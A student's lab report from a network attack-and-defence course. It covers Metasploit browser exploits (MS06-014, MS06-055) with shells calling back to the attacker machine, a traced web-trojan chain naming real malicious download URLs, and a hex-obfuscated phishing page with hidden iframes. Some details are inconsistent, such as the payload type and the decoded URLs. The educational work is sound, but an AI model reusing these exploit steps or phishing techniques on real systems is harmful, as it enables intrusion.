20252802 2025-2026-2 《网络攻防实践》实践十一报告
20252802 2025-2026-2 《网络攻防实践》第十一周作业
1. 实践内容
本次实践围绕 Web浏览器渗透攻击与网页木马攻击链分析 展开,主要包括以下三大模块:
1.1 Web浏览器渗透攻击实践
- 利用 Metasploit Framework 对 Windows 2000 靶机上的 IE 浏览器进行远程渗透攻击
- 掌握浏览器漏洞利用模块的配置、载荷选择及会话管理
- 验证网络连通性,完成从攻击发起至权限获取的完整流程
1.2 取证分析实践:网页木马攻击链溯源
- 分析真实网页木马样本(start.html → new09.htm → 加密JS → 漏洞利用链)
- 掌握 MD5 哈希匹配、Base64/XXTEA 解密、Packer 混淆还原、八进制编码解码等取证技术
- 追踪从挂马页面到最终 PE 木马的完整攻击链,提取所有恶意 URL 和可执行文件
- 使用 PEiD 等工具对二进制木马进行静态分析,识别其恶意行为特征
1.3 攻防对抗实践:多漏洞协同与流量审计
- 同时部署 MS06-055(VML Fill Method)和 MS06-014(IE ActiveX)两个漏洞利用模块
- 构造统一钓鱼入口页面,通过 JavaScript 十六进制编码混淆攻击 URL,实现多漏洞协同加载
- 模拟钓鱼邮件攻击场景,验证攻击效果
- 以防守方视角,使用 Wireshark 进行流量捕获与解混淆分析,还原真实攻击路径
2. 实践过程
2.1 Web浏览器渗透攻击实践
2.1.1 网络环境连通性验证
首先确认攻击机(Ubuntu)与靶机(Win2k)的网络互通状态。undefined在Win2k靶机终端执行ipconfig,确认其IP为 192.168.101.181。
在ubuntu攻击机终端执行ip a,确认其IP为 192.168.101.187。
ping 通了。
从图片可以看到:
-
发送:4 个数据包
-
接收:4 个数据包
-
丢失:0 个(0% loss)
-
延迟:time<10ms,甚至最小/最大/平均都是 0ms
Windows 2000(192.168.101.181)成功 ping 通了 Ubuntu 主机(192.168.101.187),两台机器在同一个局域网内,网络连通性正常。
2.1.2 检索与加载渗透模块
在ubuntu终端输入msfconsole指令以唤起Metasploit交互式控制台。
执行 search MS06-014 检索相关利用模块,定位到 exploit/windows/browser/ie_createobject,该模块专门针对IE ActiveX远程代码执行漏洞。
输入 use exploit/windows/browser/ie_createobject 载入该攻击模块。
2.1.3 载荷配置与恶意页面生成
执行 show payloads 浏览兼容的攻击载荷列表。
根据实验需求,选择通用反向TCP Shell,执行 set payload windows/shell/bind_tcp。
配置目标与监听地址:使用的模块是exploit/windows/browser/ie_createobject,这是一个浏览器漏洞利用模块(browser exploit),它的攻击方式是让靶机主动访问攻击机搭建的恶意网页,执行 set SRVHOST 192.168.101.187指向靶机,执行 set LHOST 192.168.101.187 指向攻击机。
输入 exploit 启动攻击。系统将在8080端口启动Web服务并生成恶意URL,同时在4444端口建立反向监听。
2.1.4 靶机触发与权限获取
在Win2k靶机的IE浏览器中访问生成的恶意URL
返回Ubuntu控制台,观察到Meterpreter/Shell会话已成功建立。undefined输入 sessions -i 1 切入会话,执行 ipconfig,返回结果为192.168.101.181,证实已成功夺取靶机控制权。
2.2 取证分析实践:网页木马攻击链溯源
2.2.1 初始页面与挂马机制分析
使用纯文本编辑器打开从学习通获取的 start.html 样本,防止直接运行触发恶意行为。审查源码发现其通过隐藏iframe静默加载了 new09.htm,属于典型的iframe挂马手法。
结合实验指导书可知,new09.htm 进一步挂载了外部恶意页面 http://aa.18dd.net/aa/kl.htm,并引入了远程JS脚本 http://js.users.51.la/1299644.js。
2.2.2 MD5哈希匹配与样本提取
对提取出的两个核心URL计算MD5值,以便在本地 hashed 样本库中检索对应文件。undefined执行 echo -n "http://aa.18dd.net/aa/kl.htm" | md5sum,得到 7f60672dcd6b5e90b6772545ee219bd3。
执行 echo -n "http://js.users.51.la/1299644.js" | md5sum,得到 23180a42a2ff1192150231b44ffdf3d3。
打开第一个匹配文件,确认其为普通页面。随后打开第二个匹配文件,发现其采用了 Base64 + XXTEA 双层加密,硬编码的解密密钥 \x73\x63\x72\x69\x70\x74 转换为ASCII即为 script。
2.2.3 核心JS脚本解密与逻辑剖析
利用在线XXTEA解密工具,输入密文变量与密钥 script,获取十六进制中间码。
将十六进制数据转换为明文JS代码:
代码核心逻辑如下:脚本首先尝试实例化 Adodb.Stream (MS06-014),若失败则依次尝试 MPS.StormPlayer (暴风影音)、POWERPLAYER.PowerPlayerCtrl.1 (PPStream) 和 BaiduBar.Tool (百度搜霸)。 以下是代码中提取出的 4 个 URL:
- http://aa.18dd.net/aa/1.js
- http://aa.18dd.net/aa/b.js
- http://aa.18dd.net/aa/pps.js
- http://down.18dd.net/bb/bd.cab
根据代码中引用的外部资源,继续计算以下4个URL的MD5值并提取本地样本:
-
1.js (MS06-014利用)
-
b.js (暴风影音利用)
-
pps.js (PPStream利用)
-
bd.cab (百度搜霸利用)
2.2.4 子模块JS深度解密
1. 1.js (MS06-014) 分析
根据 http://aa.18dd.net/aa/1.jsMD5加密生成md5码查询到对应文件
转换成可读js代码
分析发现其利用 Microsoft.XMLHTTP 下载 014.exe,并通过 Adodb.Stream 将其保存为 ntuser.com,最后调用 ShellExecute 静默执行。
提取的 URL
转换成MD5值以供后续分析。
undefined
2. b.js (暴风影音) 分析
根据http://aa.18dd.net/aa/b.jsMD5加密生成md5码查询到对应文件
undefined该文件被Packer混淆。通过将代码中的 eval 替换为 console.log,并在浏览器开发者工具的Console中运行,成功还原出堆喷射代码。
undefined
提取url:http://down.18dd.net/bb/bf.exe
分析还原后的代码,确认其通过构造大量内存块触发 MPS.StormPlayer 漏洞,Shellcode中硬编码了木马下载地址 bf.exe。计算 bf.exe 的MD5值。
3. pps.js (PPStream) 分析
根据http://aa.18dd.net/aa/pps.js md5加密查询到文件
undefined该文件使用八进制编码,同样采用替换 eval 为 console.log 的方式在控制台进行解密。
undefined
解密结果显示其利用PPS ActiveX控件的 Logo 属性触发漏洞,Shellcode中包含 pps.exe 的下载链接。计算 pps.exe 的MD5值。
提供的url:http://down.18dd.net/bb/pps.exe
4. bd.cab (百度搜霸) 分析
根据http://down.18dd.net/bb/bd.cabMD5加密生成md5码查询到对应文件
发现是乱码,在Ubuntu中再次打开发现是个压缩文件,解压缩得到bd.exe 可执行文件:
2.2.5 二进制木马(PE)静态分析
汇总提取到的四个可执行文件:14.exe、bf.exe、pps.exe、bd.exe。undefined执行 md5sum 校验发现四者哈希值完全一致,均为 1290ecd734d68d52318ea9016dc6fe63,属于同一木马的不同副本
利用PEiD对 bf.exe 进行静态反汇编分析,总结出以下恶意行为特征:
-
多级载荷下载:从远程服务器批量拉取 0.exe 至 19.exe。
undefined
undefined
-
持久化驻留:生成 AutoRun.inf 实现U盘传播,并写入注册表实现开机自启。
-
反分析对抗:篡改系统时间以绕过部分杀软的特征库时效校验。
undefined
2.3 攻防对抗实践:多漏洞协同与流量审计
2.3.1 实验环境分配
- 攻击方 (ubuntu):192.168.101.187
- 防守方/靶机 (Win2k):192.168.101.181
2.3.2 构建MS06-055漏洞利用环境
加载 ms06_055_vml_method 模块,配置Web服务端口为8081,URI路径为 /ms06055,反向Shell监听端口设为4455。
use exploit/windows/browser/ms06_055_vml_method
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.101.187
set LPORT 4455
set ExitOnSession false
run -j
靶机浏览器访问 http://192.168.101.187:8081/ms06055。
攻击端通过 sessions -l 确认会话建立,切入会话执行 ipconfig 验证控制权。
2.3.3 构建MS06-014漏洞利用环境
加载 ie_createobject 模块,将Web服务端口更改为8082,URI设为 /ms06014,监听端口设为5544。
use exploit/windows/browser/ie_createobject
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set payload windows/shell/reverse_tcp
set LHOST 192.168.101.187
set LPORT 5544
set ExitOnSession false
set VERBOSE true
run -j
靶机访问 http://192.168.101.187:8082/ms06014,Ubuntu端同样成功接收会话并验证IP。
2.3.4 URL混淆与统一入口页面构造
利用 xxd 工具将两个恶意URL转换为十六进制字符串,以规避基础的特征检测。
u1:687474703a2f2f3139322e3136382e3130312e3138373a383038312f6d7330363035350a
u2:687474703a2f2f3139322e3136382e3130312e3138373a383038322f6d7330363031340a
在ubuntu上启动Apache服务 (sudo systemctl start apache2),并创建目录 sudo mkdir /var/www/html/2802。undefined编写 sudo vim /var/www/html/2802/index.html 作为统一钓鱼入口,内部嵌入JS解码函数与隐藏iframe,实现两个漏洞URL的延时加载:
使用 curl 命令本地访问 http://192.168.101.187/2802/index.html,验证页面源码输出正常。
2.3.5 钓鱼邮件模拟与攻击执行
编写包含统一入口链接的诱饵邮件文本 vim ~/2802_mail.txt。
现在首先启动MS06-014漏洞模块
此时靶机访问刚刚创建的url地址http://192.168.101.187/2802/index.html
返回Ubunt发现攻击成功
再使用MS06-055漏洞模块实验
undefineduse exploit/windows/browser/ms06_055_vml_method
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.101.187
set LPORT 4455
set ExitOnSession false
set VERBOSE true
run -j
此时使用win2k访问链接http://192.168.101.187/2802/index.html
返回ubuntu攻击机,发现攻击成功
2.3.6 防守方流量审计与解混淆
作为防守方,在Wireshark中过滤IP地址为192.168.101.181的数据,定位到靶机请求统一入口页面的流量。
右键追踪HTTP Stream,在响应体中清晰识别出JS解混淆函数 h2s 以及被Hex编码的变量 u1 和 u2。
通过手动或工具解码,成功还原出隐藏的真实攻击路径:
- u1 -> http://192.168.101.181:8082/ms06014
- u2 -> http://192.168.101.181:8081/ms06055undefined至此,分析完毕
3. 实验中遇到的问题及解决方案
问题一:加密 JS 脚本解密困难
现象:面对 Base64 + XXTEA 双层加密及 Packer 混淆的 JavaScript,难以直接阅读代码逻辑。 原因:攻击者使用多种编码和混淆手段对抗静态分析。 解决:
- 对于 XXTEA 加密:提取密文变量和密钥(如 \x73\x63\x72\x69\x70\x74 → script),使用在线 XXTEA 解密工具或 Python 脚本还原
- 对于 Packer 混淆:将代码中的 eval 替换为 console.log,在浏览器开发者工具 Console 中运行,输出解密后的代码
- 对于八进制编码:同样使用 eval 替换法,或编写 Python 脚本逐字符转换
问题二:Wireshark 中定位目标流量困难
现象:抓包数据量大,难以快速找到靶机访问钓鱼页面的 HTTP 请求。 原因:未设置合适的过滤条件。 解决:使用 ip.addr == 192.168.101.181 过滤靶机 IP,或在 HTTP 流中搜索 index.html 关键字,右键选择 Follow → HTTP Stream 追踪完整会话。
4. 实验总结
通过本次实验,我系统掌握了 Web 浏览器渗透攻击的完整技术链条。
在漏洞利用层面,深入理解了 Metasploit 中 browser 类型 exploit 模块的工作原理,学会了配置 SRVHOST/SRVPORT(恶意 Web 服务)与 LHOST/LPORT(反向 Shell 监听)的协同关系,能够独立完成从模块选择、载荷配置到会话获取的全流程。
在木马取证层面,通过分析真实网页木马样本,掌握了多种反混淆技术——XXTEA 对称解密、Base64 解码、Packer 混淆还原、八进制编码转换等,理解了攻击者如何利用 iframe 挂马、多漏洞冗余利用(MS06-014 / 暴风影音 / PPStream / 百度搜霸)来提高感染成功率。
在攻防对抗层面,亲身体验了攻击方(多漏洞协同、URL 混淆、钓鱼入口构造)与防守方(Wireshark 流量审计、手动解混淆、攻击路径还原)的完整对抗过程,认识到现代网络攻击的复杂性和取证分析的重要性。
安全意识方面也有所提升。看似"只浏览网页"的行为,在存在未修补漏洞的旧版浏览器上即可导致系统完全被控,说明及时更新补丁和升级软件版本至关重要。统一入口页面和钓鱼邮件的构造手法让我意识到,攻击者往往利用社会工程学降低用户警惕,结合技术漏洞实现双重突破,作为用户应养成不点击可疑链接、不启用不明 ActiveX 控件的安全习惯。同时,Wireshark 等流量分析工具是发现隐蔽攻击的重要手段,即使攻击代码经过多层混淆,网络层面的请求行为仍会暴露攻击意图。
当然,本次实验也存在不足。主要基于已知漏洞和样本的复现分析,对于 0-day 漏洞的挖掘与利用仍缺乏实践经验。静态分析(PEiD)仅能识别木马的表面行为特征,后续可结合动态调试(OllyDbg、IDA Pro)和沙箱分析,更深入地理解其运行时的内存操作、API 调用序列和 C2 通信机制。在真实企业环境中,还应进一步学习 SIEM(安全信息与事件管理)系统的部署与告警规则编写,实现自动化威胁检测与响应。
浙公网安备 33010602011771号